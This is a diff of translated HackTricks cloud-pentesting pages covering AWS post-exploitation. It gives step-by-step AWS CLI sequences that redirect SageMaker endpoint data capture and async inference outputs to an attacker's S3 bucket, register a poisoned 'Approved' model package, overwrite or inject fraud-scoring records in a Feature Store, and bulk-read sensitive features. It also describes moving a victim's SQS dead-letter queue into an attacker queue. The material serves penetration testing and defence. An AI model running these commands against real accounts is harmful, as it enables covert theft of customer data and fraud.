mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 21:53:15 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
Translator
@@ -2,18 +2,18 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SageMaker Endpoint-Datenabfluss über UpdateEndpoint DataCaptureConfig
|
||||
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
|
||||
|
||||
Missbrauche die SageMaker-Endpoint-Verwaltung, um vollständiges Anfrage-/Antwort-Capturing in einen vom Angreifer kontrollierten S3-Bucket zu aktivieren, ohne das model oder container zu berühren. Verwendet ein Rolling Update mit null/geringer Ausfallzeit und erfordert lediglich Endpoint-Management-Berechtigungen.
|
||||
Missbrauch des SageMaker-Endpoint-Managements, um die vollständige Erfassung von Requests/Responses in einen vom Angreifer kontrollierten S3-Bucket zu ermöglichen, ohne das Modell oder den Container anzufassen. Verwendet ein Zero-/Low‑Downtime-Rolling-Update und erfordert nur Berechtigungen für die Endpoint-Verwaltung.
|
||||
|
||||
### Anforderungen
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: `s3:CreateBucket` (oder benutze einen bestehenden Bucket im selben Account)
|
||||
- S3: `s3:CreateBucket` (oder verwende einen bestehenden Bucket im selben Account)
|
||||
- Optional (bei Verwendung von SSE‑KMS): `kms:Encrypt` auf dem gewählten CMK
|
||||
- Ziel: Ein vorhandener InService Echtzeit-Endpoint im selben Account/Region
|
||||
- Ziel: Ein bestehender InService real‑time endpoint im selben Account/Region
|
||||
|
||||
### Schritte
|
||||
1) Identifiziere einen InService-Endpoint und sammle die aktuellen Produktionsvarianten
|
||||
1) Identifiziere einen InService-Endpoint und sammle die aktuellen production variants
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
|
||||
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
|
||||
echo "EndpointConfig=$CFG"
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Attacker-S3-Ziel für captures vorbereiten
|
||||
2) S3-Ziel des Angreifers für captures vorbereiten
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
3) Erstelle eine neue EndpointConfig, die die gleichen Varianten beibehält, aber DataCapture auf den attacker bucket aktiviert
|
||||
3) Erstelle eine neue EndpointConfig, die dieselben Varianten beibält, aber DataCapture zum attacker bucket aktiviert
|
||||
|
||||
Hinweis: Verwende explizite Content-Types, die der CLI-Validierung genügen.
|
||||
Hinweis: Verwende explizite Content-Types, die die CLI-Validierung erfüllen.
|
||||
```bash
|
||||
NEWCFG=${CFG}-dc
|
||||
cat > /tmp/dc.json << JSON
|
||||
@@ -54,35 +54,34 @@ aws sagemaker create-endpoint-config \
|
||||
--production-variants file:///tmp/pv.json \
|
||||
--data-capture-config file:///tmp/dc.json
|
||||
```
|
||||
4) Neue Konfiguration per rolling update anwenden (minimale/keine Ausfallzeit)
|
||||
4) Wende die neue Konfiguration mit einem rolling update an (minimale/keine Ausfallzeit)
|
||||
```bash
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
5) Erzeuge mindestens einen Inference-Call (optional, falls Live-Traffic vorhanden ist)
|
||||
5) Generiere mindestens einen Inferenz-Aufruf (optional, wenn Live-Traffic vorhanden ist)
|
||||
```bash
|
||||
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
|
||||
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
--content-type application/json --accept application/json \
|
||||
--body fileb:///tmp/payload.json /tmp/out.bin || true
|
||||
```
|
||||
6) Captures im attacker S3 validieren
|
||||
6) Validieren Sie captures im Angreifer-S3
|
||||
```bash
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
### Auswirkungen
|
||||
- Vollständige Exfiltration von Echtzeit-Inference-Anfrage- und Antwort-Payloads (sowie Metadaten) vom Ziel-Endpoint in ein vom Angreifer kontrolliertes S3-Bucket.
|
||||
- Keine Änderungen am Modell/Container-Image und nur Änderungen auf Endpoint-Ebene, was einen unauffälligen Daten-Diebstahlpfad mit minimalen betrieblichen Störungen ermöglicht.
|
||||
|
||||
- Vollständige exfiltration von Echtzeit-inference-Anfrage- und Antwort-Payloads (und Metadaten) vom zielgerichteten Endpoint in einen vom Angreifer kontrollierten S3-Bucket.
|
||||
- Keine Änderungen am model/container image und nur Änderungen auf Endpoint-Ebene, wodurch ein unauffälliger Pfad für Datendiebstahl mit minimalen Betriebsstörungen ermöglicht wird.
|
||||
|
||||
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
|
||||
|
||||
Missbrauche das Endpoint-Management, um asynchrone Inference-Ausgaben an ein vom Angreifer kontrolliertes S3-Bucket umzuleiten, indem du die aktuelle EndpointConfig klonst und AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath setzt. Dadurch werden Modellvorhersagen (und alle vom Container transformierten Eingaben) exfiltriert, ohne das Modell/den Container zu ändern.
|
||||
Missbrauche die Endpoint-Verwaltung, um asynchrone inference-Ausgaben an einen vom Angreifer kontrollierten S3-Bucket umzuleiten, indem du die aktuelle EndpointConfig klonst und AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath setzt. Dies exfiltrates model predictions (und alle transformierten Inputs, die vom container eingeschlossen werden), ohne das model/container zu modifizieren.
|
||||
|
||||
### Anforderungen
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: Fähigkeit, in das Angreifer-S3-Bucket zu schreiben (über die model execution role oder eine zu großzügige Bucket-Policy)
|
||||
- Ziel: Ein InService-Endpoint, bei dem asynchrone Aufrufe verwendet werden (oder verwendet werden sollen)
|
||||
- S3: Schreibzugriff auf den vom Angreifer kontrollierten S3-Bucket (über die model execution role oder eine permissive bucket policy)
|
||||
- Ziel: Ein InService-Endpoint, bei dem asynchrone invocations verwendet werden (oder verwendet werden sollen)
|
||||
|
||||
### Schritte
|
||||
1) Sammle die aktuellen ProductionVariants vom Ziel-Endpoint
|
||||
@@ -92,13 +91,13 @@ EP=<target-endpoint-name>
|
||||
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Erstelle einen Angreifer-Bucket (stelle sicher, dass die model execution role PutObject darauf ausführen kann)
|
||||
2) Erstelle einen attacker bucket (stelle sicher, dass die model execution role PutObject darauf ausführen darf)
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION || true
|
||||
```
|
||||
3) Clone EndpointConfig und hijack AsyncInference outputs zum attacker bucket
|
||||
3) Klone EndpointConfig und hijack AsyncInference-Ausgaben in den attacker bucket
|
||||
```bash
|
||||
NEWCFG=${CUR_CFG}-async-exfil
|
||||
cat > /tmp/async_cfg.json << JSON
|
||||
@@ -108,7 +107,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
4) Einen asynchronen Aufruf auslösen und prüfen, dass Objekte im S3 des Angreifers landen
|
||||
4) Löse eine async invocation aus und überprüfe, dass Objekte im attacker S3 landen
|
||||
```bash
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
@@ -116,19 +115,19 @@ sleep 30
|
||||
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
### Auswirkungen
|
||||
- Leitet asynchrone Inference-Ergebnisse (und Error-Bodies) zu attacker-controlled S3 um und ermöglicht so die verdeckte exfiltration von predictions und potenziell sensiblen vor-/nachverarbeiteten Inputs, die vom container erzeugt werden, ohne Änderung von model code oder image und mit minimaler/keiner Downtime.
|
||||
### Auswirkung
|
||||
- Leitet asynchrone Inference-Ergebnisse (und error bodies) an attacker-controlled S3 weiter, wodurch covert exfiltration von predictions und potenziell sensiblen pre/post-processed inputs, die vom container erzeugt werden, ermöglicht wird, ohne model code oder image zu ändern und mit minimaler/keiner Downtime.
|
||||
|
||||
|
||||
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
|
||||
|
||||
Wenn ein Angreifer CreateModelPackage auf einer Ziel SageMaker Model Package Group ausführen kann, kann er eine neue Modellversion registrieren, die auf ein vom Angreifer kontrolliertes container image zeigt und sie sofort als Approved markieren. Viele CI/CD-Pipelines deployen Approved-Modellversionen automatisch zu Endpoints oder training jobs, was zur attacker code execution unter den Execution Roles des Dienstes führt. Eine kontoübergreifende Exposition kann durch eine permissive ModelPackageGroup resource policy verstärkt werden.
|
||||
Wenn ein attacker CreateModelPackage auf einer Ziel SageMaker Model Package Group ausführen kann, kann er eine neue Modellversion registrieren, die auf ein attacker-controlled container image zeigt und diese sofort als Approved markieren. Viele CI/CD-Pipelines auto-deploy Approved model versions zu endpoints oder training jobs, was in attacker code execution unter den service’s execution roles resultiert. Cross-account exposure kann durch eine permissive ModelPackageGroup resource policy verstärkt werden.
|
||||
|
||||
### Anforderungen
|
||||
- IAM (Minimum, um eine bestehende Gruppe zu vergiften): `sagemaker:CreateModelPackage` auf der Ziel-ModelPackageGroup
|
||||
- Optional (um eine Gruppe zu erstellen, falls keine existiert): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: Lesezugriff auf die referenzierte ModelDataUrl (oder Hosten von vom Angreifer kontrollierten Artefakten)
|
||||
- Ziel: Eine Model Package Group, die nachgelagerte Automation auf Approved-Versionen überwacht
|
||||
- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
|
||||
- Optional (to create a group if one doesn’t exist): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: Lesezugriff auf die referenzierte ModelDataUrl (oder host attacker-controlled artifacts)
|
||||
- Ziel: Eine Model Package Group, die von downstream automation nach Approved versions überwacht wird
|
||||
|
||||
### Schritte
|
||||
1) Region setzen und eine Ziel Model Package Group erstellen/finden
|
||||
@@ -137,7 +136,7 @@ REGION=${REGION:-us-east-1}
|
||||
MPG=victim-group-$(date +%s)
|
||||
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
|
||||
```
|
||||
2) Dummy-Modell-Daten in S3 vorbereiten
|
||||
2) Bereite Dummy-Modell-Daten in S3 vor
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
|
||||
@@ -145,7 +144,7 @@ aws s3 mb s3://$BUCKET --region $REGION
|
||||
head -c 1024 </dev/urandom > /tmp/model.tar.gz
|
||||
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
|
||||
```
|
||||
3) Registriere eine bösartige (hier harmlose) Approved model package version, die auf ein öffentliches AWS DLC-Image verweist
|
||||
3) Registrieren Sie eine bösartige (hier harmlos) Approved model package version, die auf ein öffentliches AWS DLC image verweist
|
||||
```bash
|
||||
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
|
||||
cat > /tmp/inf.json << JSON
|
||||
@@ -162,18 +161,19 @@ cat > /tmp/inf.json << JSON
|
||||
JSON
|
||||
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
|
||||
```
|
||||
4) Überprüfe, dass die neue Approved-Version vorhanden ist
|
||||
4) Überprüfen Sie, dass die neue genehmigte Version existiert.
|
||||
```bash
|
||||
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
|
||||
```
|
||||
### Auswirkungen
|
||||
- Poison the Model Registry mit einer Approved-Version, die auf angreiferkontrollierten Code verweist. Pipelines, die Approved-Modelle automatisch bereitstellen, können das Angreifer-Image ziehen und ausführen, was zur Codeausführung unter endpoint/training roles führt.
|
||||
- Mit einer permissiven ModelPackageGroup resource policy (PutModelPackageGroupPolicy) kann dieser Missbrauch kontoübergreifend ausgelöst werden.
|
||||
- Das Model Registry mit einer Approved-Version vergiften, die auf vom Angreifer kontrollierten Code verweist. Pipelines, die Approved-Modelle automatisch deployen, können das Angreifer-Image ziehen und ausführen, was zur Ausführung von Code unter den endpoint-/training-Rollen führt.
|
||||
- Mit einer zu permissiven ModelPackageGroup resource policy (PutModelPackageGroupPolicy) kann dieser Missbrauch kontoübergreifend ausgelöst werden.
|
||||
|
||||
## Feature store poisoning
|
||||
|
||||
Missbrauche `sagemaker:PutRecord` auf einer Feature Group mit aktiviertem OnlineStore, um Live-Feature-Werte zu überschreiben, die von online inference verwendet werden. In Kombination mit `sagemaker:GetRecord` kann ein Angreifer sensitive Features lesen. Dafür ist kein Zugriff auf models oder endpoints erforderlich.
|
||||
Missbrauche `sagemaker:PutRecord` auf einer Feature Group mit aktiviertem OnlineStore, um Live-Feature-Werte zu überschreiben, die von Online-Inference genutzt werden. In Kombination mit `sagemaker:GetRecord` kann ein Angreifer sensible Features auslesen. Dafür ist kein Zugriff auf Modelle oder Endpoints erforderlich.
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
{{/ref}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,17 +1,19 @@
|
||||
# SageMaker Feature Store online store poisoning
|
||||
|
||||
Missbrauche `sagemaker:PutRecord` an einer Feature Group mit aktivierter OnlineStore, um Live-Feature-Werte zu überschreiben, die von der Online-Inferenz verwendet werden. In Kombination mit `sagemaker:GetRecord` kann ein Angreifer sensible Features lesen und vertrauliche ML-Daten exfiltrieren. Dafür ist kein Zugriff auf Modelle oder Endpoints erforderlich, wodurch es zu einem direkten Data-Layer-Angriff wird.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Voraussetzungen
|
||||
Missbrauch von `sagemaker:PutRecord` auf einer Feature Group mit aktiviertem OnlineStore, um Live-Feature-Werte zu überschreiben, die von der online inference verwendet werden. In Kombination mit `sagemaker:GetRecord` kann ein Angreifer sensitive Features auslesen. Dafür ist kein Zugriff auf Modelle oder Endpoints erforderlich.
|
||||
|
||||
## Anforderungen
|
||||
- Berechtigungen: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Ziel: Feature Group mit aktivierter OnlineStore (typischerweise für Echtzeit-Inferenz)
|
||||
- Komplexität: **LOW** - Einfache AWS CLI Befehle, keine Modellmanipulation erforderlich
|
||||
- Ziel: Feature Group mit aktiviertem OnlineStore (typischerweise zur Unterstützung von Echtzeit-Inferenz)
|
||||
- Komplexität: **LOW** - Einfache AWS-CLI-Befehle, keine Modellmanipulation erforderlich
|
||||
|
||||
## Schritte
|
||||
|
||||
### Reconnaissance
|
||||
### Aufklärung
|
||||
|
||||
1) Feature Groups mit aktivierter OnlineStore auflisten
|
||||
1) Feature Groups mit aktiviertem OnlineStore auflisten
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
aws sagemaker list-feature-groups \
|
||||
@@ -26,18 +28,18 @@ aws sagemaker describe-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG"
|
||||
```
|
||||
Beachte die `RecordIdentifierFeatureName`, `EventTimeFeatureName` und alle Feature-Definitionen. Diese sind erforderlich, um gültige Datensätze zu erstellen.
|
||||
Beachte die `RecordIdentifierFeatureName`, `EventTimeFeatureName` und alle Feature-Definitionen. Diese werden benötigt, um gültige Datensätze zu erstellen.
|
||||
|
||||
### Angriffsszenario 1: Data Poisoning (Overwrite Existing Records)
|
||||
### Angriffsszenario 1: Data Poisoning (Bestehende Datensätze überschreiben)
|
||||
|
||||
1) Lies den aktuellen legitimen Datensatz
|
||||
1) Lese den aktuellen legitimen Datensatz aus
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
2) Vergifte den Datensatz mit bösartigen Werten über den Inline-Parameter `--record`
|
||||
2) Den Datensatz mit bösartigen Werten vergiften, indem der Inline-Parameter `--record` verwendet wird.
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
@@ -54,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
3) Vergiftete Daten verifizieren
|
||||
3) Vergiftete Daten überprüfen
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
**Auswirkung**: ML-Modelle, die dieses Feature verwenden, sehen jetzt `risk_score=0.99` für einen legitimen Benutzer, wodurch dessen Transaktionen oder Dienste möglicherweise blockiert werden.
|
||||
**Auswirkung**: ML-Modelle, die dieses Feature verwenden, sehen jetzt für einen legitimen Benutzer `risk_score=0.99`, wodurch möglicherweise seine Transaktionen oder Dienste blockiert werden.
|
||||
|
||||
### Angriffsszenario 2: Malicious Data Injection (Create Fraudulent Records)
|
||||
### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records)
|
||||
|
||||
Injiziere vollständig neue Datensätze mit manipulierten Features, um Sicherheitskontrollen zu umgehen:
|
||||
Füge komplett neue Datensätze mit manipulierten Features ein, um Sicherheitskontrollen zu umgehen:
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
@@ -82,18 +84,18 @@ aws sagemaker-featurestore-runtime put-record \
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
Überprüfen Sie die Injektion:
|
||||
Überprüfe die injection:
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-999
|
||||
```
|
||||
**Impact**: Attacker erstellt eine gefälschte Identität mit niedrigem Risiko-Score (0.01), die betrügerische Transaktionen mit hohem Wert durchführen kann, ohne die Betrugserkennung auszulösen.
|
||||
**Auswirkung**: Ein Angreifer erstellt eine gefälschte Identität mit niedriger Risikobewertung (0.01), die Transaktionen mit hohem Wert betrügerisch durchführen kann, ohne die Betrugserkennung auszulösen.
|
||||
|
||||
### Angriffsszenario 3: Exfiltration sensibler Daten
|
||||
### Angriffsszenario 3: Sensitive Data Exfiltration
|
||||
|
||||
Mehrere Datensätze lesen, um vertrauliche Merkmale zu extrahieren und das Verhalten des Modells zu profilieren:
|
||||
Mehrere Datensätze lesen, um vertrauliche Merkmale zu extrahieren und das Modellverhalten zu profilieren:
|
||||
```bash
|
||||
# Exfiltrate data for known users
|
||||
for USER_ID in user-001 user-002 user-003 user-999; do
|
||||
@@ -104,9 +106,9 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--record-identifier-value-as-string ${USER_ID}
|
||||
done
|
||||
```
|
||||
**Impact**: Vertrauliche Features (risk scores, transaction patterns, personenbezogene Daten) werden einem Angreifer offengelegt.
|
||||
**Auswirkung**: Vertrauliche Features (Risikobewertungen, Transaktionsmuster, personenbezogene Daten) werden für Angreifer offengelegt.
|
||||
|
||||
### Erstellung einer Test-/Demo-Feature Group (optional)
|
||||
### Erstellung einer Test-/Demo Feature Group (optional)
|
||||
|
||||
Wenn Sie eine Test Feature Group erstellen müssen:
|
||||
```bash
|
||||
@@ -141,20 +143,6 @@ fi
|
||||
|
||||
echo "Feature Group ready: $FG"
|
||||
```
|
||||
## Erkennung
|
||||
|
||||
Überwache CloudTrail auf verdächtige Muster:
|
||||
- `PutRecord`-Ereignisse von ungewöhnlichen IAM-Prinzipalen oder IP-Adressen
|
||||
- Häufige `PutRecord`- oder `GetRecord`-Aufrufe
|
||||
- `PutRecord` mit anomalen Feature-Werten (z. B. risk_score außerhalb des normalen Bereichs)
|
||||
- Massive `GetRecord`-Operationen, die auf Massen-Exfiltration hindeuten
|
||||
- Zugriffe außerhalb der üblichen Geschäftszeiten oder von unerwarteten Standorten
|
||||
|
||||
Anomalieerkennung implementieren:
|
||||
- Validierung von Feature-Werten (z. B. risk_score muss 0.0-1.0 sein)
|
||||
- Analyse von Schreibmustern (Frequenz, Timing, Identität der Quelle)
|
||||
- Erkennung von Data Drift (plötzliche Änderungen in der Verteilung der Feature-Werte)
|
||||
|
||||
## References
|
||||
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
## Referenzen
|
||||
- [AWS SageMaker Feature Store Dokumentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Best Practices zur Sicherheit von Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
|
||||
@@ -1,53 +1,55 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Beschreibung
|
||||
|
||||
Missbrauche SQS message move tasks, um alle angesammelten Nachrichten aus der Dead-Letter Queue (DLQ) eines Opfers zu stehlen, indem du sie mit `sqs:StartMessageMoveTask` auf eine vom Angreifer kontrollierte Queue umleitest. Diese Technik nutzt die legitime Message-Recovery-Funktion von AWS, um sensible Daten zu exfiltrieren, die sich im Laufe der Zeit in DLQs angesammelt haben.
|
||||
Missbrauche SQS message move tasks, um alle angesammelten Nachrichten aus der Dead-Letter Queue (DLQ) eines Opfers zu stehlen, indem du sie mit `sqs:StartMessageMoveTask` an eine vom Angreifer kontrollierte Queue umleitest. Diese Technik nutzt die legitime Wiederherstellungsfunktion von AWS, um sensible Daten zu exfiltrieren, die sich über die Zeit in DLQs angesammelt haben.
|
||||
|
||||
## Was ist eine Dead-Letter Queue (DLQ)?
|
||||
|
||||
Eine Dead-Letter Queue ist eine spezielle SQS-Queue, in die Nachrichten automatisch gesendet werden, wenn sie von der Hauptanwendung nicht erfolgreich verarbeitet werden können. Diese fehlgeschlagenen Nachrichten enthalten oft:
|
||||
Eine Dead-Letter Queue ist eine spezielle SQS-Queue, in die Nachrichten automatisch gesendet werden, wenn sie von der Hauptanwendung nicht erfolgreich verarbeitet werden konnten. Diese fehlgeschlagenen Nachrichten enthalten häufig:
|
||||
- Sensible Anwendungsdaten, die nicht verarbeitet werden konnten
|
||||
- Fehlerdetails und Debugging-Informationen
|
||||
- Fehlermeldungen und Debugging-Informationen
|
||||
- Personenbezogene Daten (PII)
|
||||
- API-Token, Anmeldeinformationen oder andere Geheimnisse
|
||||
- API-Tokens, Zugangsdaten oder andere Geheimnisse
|
||||
- Geschäftskritische Transaktionsdaten
|
||||
|
||||
DLQs fungieren als "Friedhof" für fehlgeschlagene Nachrichten und sind deshalb wertvolle Ziele, da sie im Laufe der Zeit sensible Daten ansammeln, die von Anwendungen nicht korrekt verarbeitet werden konnten.
|
||||
DLQs fungieren als "Friedhof" für fehlgeschlagene Nachrichten und sind daher wertvolle Ziele, da sie über die Zeit sensible Daten ansammeln, die Anwendungen nicht korrekt verarbeiten konnten.
|
||||
|
||||
## Angriffsszenario
|
||||
|
||||
**Beispiel aus der Praxis:**
|
||||
1. **E-Commerce-Anwendung** verarbeitet Kundenbestellungen über SQS
|
||||
2. **Einige Bestellungen schlagen fehl** (Zahlungsprobleme, Inventarprobleme, etc.) und werden in eine DLQ verschoben
|
||||
3. **Die DLQ sammelt** Wochen/Monate an fehlgeschlagenen Bestellungen mit Kundendaten: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Angreifer erlangt Zugriff** auf AWS-Credentials mit SQS-Berechtigungen
|
||||
5. **Angreifer entdeckt**, dass die DLQ Tausende fehlgeschlagener Bestellungen mit sensiblen Daten enthält
|
||||
6. **Anstatt zu versuchen, auf einzelne Nachrichten zuzugreifen** (langsam und auffällig), nutzt der Angreifer `StartMessageMoveTask`, um ALLE Nachrichten gesammelt in seine eigene Queue zu übertragen
|
||||
7. **Angreifer extrahiert** alle historischen sensiblen Daten in einer Operation
|
||||
**Real-world example:**
|
||||
1. **E-commerce application** verarbeitet Kundenbestellungen über SQS
|
||||
2. **Some orders fail** (Zahlungsprobleme, Inventarfehler usw.) und werden in eine DLQ verschoben
|
||||
3. **DLQ accumulates** Wochen/Monate an fehlgeschlagenen Bestellungen mit Kundendaten: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Attacker gains access** zu AWS-Zugangsdaten mit SQS-Berechtigungen
|
||||
5. **Attacker discovers** die DLQ enthält Tausende fehlgeschlagener Bestellungen mit sensiblen Daten
|
||||
6. **Instead of trying to access individual messages** (langsam und auffällig), verwendet der Angreifer `StartMessageMoveTask`, um ALLE Nachrichten in Bulk in seine eigene Queue zu übertragen
|
||||
7. **Attacker extracts** alle historischen sensiblen Daten in einem Vorgang
|
||||
|
||||
## Voraussetzungen
|
||||
- Die Quell-Queue muss als DLQ konfiguriert sein (von mindestens einer Queue per RedrivePolicy referenziert).
|
||||
- IAM-Berechtigungen (ausgeführt als kompromittierte Opfer-Principal):
|
||||
## Anforderungen
|
||||
- Die Quell-Queue muss als DLQ konfiguriert sein (von mindestens einer Queue über RedrivePolicy referenziert).
|
||||
- IAM-Berechtigungen (ausgeführt als das kompromittierte Opferprinzipal):
|
||||
- Auf der DLQ (Quelle): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Auf der Ziel-Queue: Berechtigung, Nachrichten zuzustellen (z. B. Queue-Policy, die `sqs:SendMessage` vom Opfer-Principal erlaubt). Für Ziele im selben Account ist dies üblicherweise standardmäßig erlaubt.
|
||||
- Auf der Ziel-Queue: Berechtigung zum Zustellen von Nachrichten (z. B. Queue-Policy, die `sqs:SendMessage` vom Opferprinzipal erlaubt). Für Ziele im selben Account ist dies in der Regel standardmäßig erlaubt.
|
||||
- Wenn SSE-KMS aktiviert ist: auf der Quell-CMK `kms:Decrypt`, und auf der Ziel-CMK `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Auswirkung
|
||||
Exfiltriere sensible Payloads, die sich in DLQs angesammelt haben (fehlgeschlagene Events, PII, Tokens, Anwendungs-Payloads), mit hoher Geschwindigkeit unter Verwendung der nativen SQS-APIs. Funktioniert kontoübergreifend, wenn die Ziel-Queue-Policy `SendMessage` vom Opfer-Principal erlaubt.
|
||||
Exfiltriere sensible Payloads, die sich in DLQs angesammelt haben (fehlgeschlagene Events, PII, Tokens, Anwendungs-Payloads), sehr schnell unter Verwendung nativer SQS-APIs. Funktioniert auch cross-account, wenn die Ziel-Queue-Policy `SendMessage` vom Opferprinzipal erlaubt.
|
||||
|
||||
## Missbrauch
|
||||
|
||||
- Identifiziere die DLQ-ARN des Opfers und stelle sicher, dass sie tatsächlich von mindestens einer Queue als DLQ referenziert wird (jede Queue reicht).
|
||||
- Erstelle oder wähle eine vom Angreifer kontrollierte Ziel-Queue und beschaffe deren ARN.
|
||||
- Starte eine Message-Move-Task von der DLQ des Opfers zu deiner Ziel-Queue.
|
||||
- Überwache den Fortschritt oder breche ab, falls nötig.
|
||||
- Identifiziere die ARN der Opfer-DLQ und stelle sicher, dass sie tatsächlich als DLQ von irgendeiner Queue referenziert wird (jede Queue ist ausreichend).
|
||||
- Erstelle oder wähle eine vom Angreifer kontrollierte Ziel-Queue und erhalte ihre ARN.
|
||||
- Starte eine message move task von der Opfer-DLQ zu deiner Ziel-Queue.
|
||||
- Überwache den Fortschritt oder storniere bei Bedarf.
|
||||
|
||||
### CLI-Beispiel: Exfiltrieren von Kundendaten aus einer E-Commerce-DLQ
|
||||
### CLI-Beispiel: Exfiltrieren von Kundendaten aus E-Commerce DLQ
|
||||
|
||||
**Szenario**: Ein Angreifer hat AWS-Credentials kompromittiert und entdeckt, dass eine E-Commerce-Anwendung SQS mit einer DLQ verwendet, die fehlgeschlagene Versuche der Kundenbestellungsverarbeitung enthält.
|
||||
